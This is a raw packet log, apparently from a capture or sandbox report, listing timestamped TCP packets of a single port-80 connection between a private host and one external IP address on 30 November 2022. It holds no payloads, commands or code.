Nov 30, 2022 00:11:08.685554981 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.685570955 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.685580969 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.685609102 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.685626030 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.685630083 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.685656071 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.685676098 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.685683012 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.685710907 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.685735941 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.685745001 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.685745001 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.685745001 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.685761929 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.685770035 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.685787916 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.685803890 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.685812950 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.685825109 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.685839891 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.685854912 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.685867071 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.685879946 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.685911894 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.685919046 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.685945988 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.685962915 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.685972929 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.685992002 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.686001062 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.686028957 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.686028957 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.686042070 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.686069012 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.731955051 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.732130051 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.738742113 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.738787889 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.738868952 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.738869905 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.738909006 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.739110947 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.957046986 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.957245111 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.957479954 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.957499981 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.957526922 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.957568884 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.957570076 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.957597971 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.957626104 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.957669020 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.957746029 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.958034992 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.958054066 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.958086967 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.958092928 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.958106041 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.958117962 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.958127022 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.958139896 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.958146095 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.958237886 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.958291054 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.958291054 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.958292007 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.958292007 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.958589077 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.958623886 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.958643913 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.958677053 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.958694935 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.958705902 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.958714962 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.958733082 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.958751917 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.958755016 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.958769083 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.958780050 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.958803892 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.958817959 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.958830118 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.958842039 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.958868027 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.958890915 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.958890915 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.958925009 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.960021973 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.960113049 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.965409994 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.965439081 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.965460062 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.965492964 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.965589046 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.965637922 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.965637922 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.965637922 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.965637922 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.965910912 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.965939045 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.965956926 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.965985060 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.965991020 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.965991020 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.965991020 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.966003895 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.966029882 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.966029882 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.966057062 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.966062069 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.966075897 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.966079950 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.966099024 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.966115952 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.966118097 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.966144085 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.966173887 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.966182947 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.966239929 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.966461897 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.966492891 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.966511011 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.966530085 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.966541052 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.966541052 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.966561079 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.966574907 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.966581106 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.966598988 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.966607094 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.966617107 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.966633081 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.966634989 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.966659069 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.966685057 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.966706038 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.966707945 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.966726065 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.966727972 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.966766119 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.966785908 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.966792107 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.966846943 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.967107058 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.967127085 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.967144966 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.967174053 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.967179060 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.967200994 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.967200994 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.967210054 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.967230082 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.967243910 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.967248917 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.967292070 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.967297077 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.967319965 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:08.967335939 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.967335939 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:08.967451096 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.010390997 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.010411024 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.010457039 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.010492086 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.010509968 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.010520935 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.010540962 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.010557890 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.010569096 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.010593891 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.010607004 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.010649920 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.010998964 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.011017084 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.011065006 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.011187077 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.011207104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.011236906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.011245966 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.011271000 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.011312008 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.011609077 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.011626959 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.011672020 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.011672020 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.011689901 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.011730909 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.011744022 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.011761904 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.011792898 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.011800051 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.011826992 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.011867046 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.012181997 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.012212992 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.012243986 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.012260914 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.012280941 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.012299061 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.012311935 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.012327909 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.012347937 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.012351990 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.012417078 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.012433052 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.012479067 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.012897968 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.012916088 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.012947083 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.012974977 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.013070107 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.013113976 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.013405085 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.013422966 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.013441086 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.013469934 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.013473988 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.013515949 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.013550997 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.013570070 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.013587952 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.013627052 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.013632059 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.013647079 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.013672113 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.013681889 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.013698101 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.013716936 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.014101028 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.014127970 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.014142036 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.014189005 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.014206886 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.014233112 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.014563084 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.014580965 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.014606953 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.014612913 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.014642954 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.014651060 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.014691114 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.014725924 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.014728069 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.014744043 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.014761925 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.014779091 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.014786005 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.014796019 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.014815092 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.014853954 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.014870882 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.014906883 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.014909983 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.014930010 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.014946938 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.014957905 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.014986038 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.015245914 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.015264034 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.015281916 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.015311956 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.015311956 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.015355110 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.015358925 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.015386105 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.015403986 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.015424013 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.015430927 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.015446901 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.015465021 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.015474081 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.015481949 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.015515089 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.015799999 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.015831947 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.015847921 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.015861034 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.015878916 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.015903950 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.015934944 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.015953064 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.015981913 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.015981913 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.016001940 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.016028881 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.016079903 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.016124010 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.016484976 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.016520023 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.016540051 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.016557932 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.016562939 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.016597986 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.016601086 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.016629934 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.016666889 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.017019033 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.017076969 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.238914967 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.238997936 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239043951 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239089966 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239099026 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.239135981 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.239177942 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239187002 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.239233971 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.239280939 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239327908 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239335060 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.239372015 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239381075 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.239415884 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239427090 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.239460945 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239469051 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.239506006 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239515066 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.239551067 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239558935 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.239594936 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239603996 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.239639044 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239648104 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.239684105 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239691973 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.239727974 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239737034 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.239773035 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239779949 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.239816904 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239826918 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.239862919 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239890099 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.239912033 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239923954 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.239962101 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.239979029 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.239990950 CET	80	49725	123.253.32.170	192.168.2.6
